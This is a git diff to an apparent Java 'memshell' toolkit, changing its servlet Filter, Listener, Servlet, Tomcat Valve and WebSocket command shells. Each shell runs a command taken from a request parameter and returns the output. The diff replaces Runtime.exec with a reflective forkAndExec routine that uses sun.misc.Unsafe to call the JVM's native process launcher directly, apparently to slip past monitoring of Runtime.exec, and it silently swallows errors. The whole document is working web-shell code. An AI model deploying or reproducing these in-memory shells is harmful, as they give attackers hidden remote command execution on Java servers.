diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 218a7c3d..557577d5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -1,10 +1,14 @@ package com.reajason.javaweb.memshell.shelltool.command; +import sun.misc.Unsafe; + import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; /** * @author ReaJason @@ -27,20 +31,88 @@ public class CommandFilter implements Filter { HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; String cmd = getParam(servletRequest.getParameter(paramName)); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); + try { + if (cmd != null) { + InputStream inputStream = forkAndExec(cmd); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; } - return; + } catch (Exception ignored) { } chain.doFilter(servletRequest, servletResponse); } + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + @Override public void destroy() { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 354e0491..4216cc2e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -1,11 +1,15 @@ package com.reajason.javaweb.memshell.shelltool.command; +import sun.misc.Unsafe; + import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; /** * @author ReaJason @@ -32,8 +36,7 @@ public class CommandListener implements ServletRequestListener { String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); + InputStream inputStream = forkAndExec(cmd); ServletOutputStream outputStream = servletResponse.getOutputStream(); byte[] buf = new byte[8192]; int length; @@ -45,6 +48,72 @@ public class CommandListener implements ServletRequestListener { } } + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { return null; } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index d5ca751e..2b354d57 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell.shelltool.command; +import sun.misc.Unsafe; + import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServlet; @@ -7,6 +9,8 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; /** * @author ReaJason @@ -27,15 +31,84 @@ public class CommandServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String cmd = getParam(request.getParameter(paramName)); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); + try { + if (cmd != null) { + InputStream inputStream = forkAndExec(cmd); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } } + } catch (Exception ignored) { + } } + + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index e13b31c8..e14f9ce4 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell.shelltool.command; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; +import sun.misc.Unsafe; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import java.io.IOException; import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; /** * @author ReaJason @@ -46,17 +49,86 @@ public class CommandValve implements Valve { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = getParam(request.getParameter(paramName)); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); + try { + if (cmd != null) { + InputStream inputStream = forkAndExec(cmd); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return; } - return; + } catch (Exception ignored) { + } this.getNext().invoke(request, response); } + + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 003e25f5..69438225 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -1,11 +1,15 @@ package com.reajason.javaweb.memshell.shelltool.command; +import sun.misc.Unsafe; + import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.ByteArrayOutputStream; import java.io.InputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; /** * wsMemShell @@ -24,8 +28,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + Field helperpathField = processClass.getDeclaredField("helperpath"); + launchMechanismField.setAccessible(true); + helperpathField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + + byte[] bytes = strs[0].getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + + forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + @Override public void onOpen(final Session session, EndpointConfig config) { this.session = session;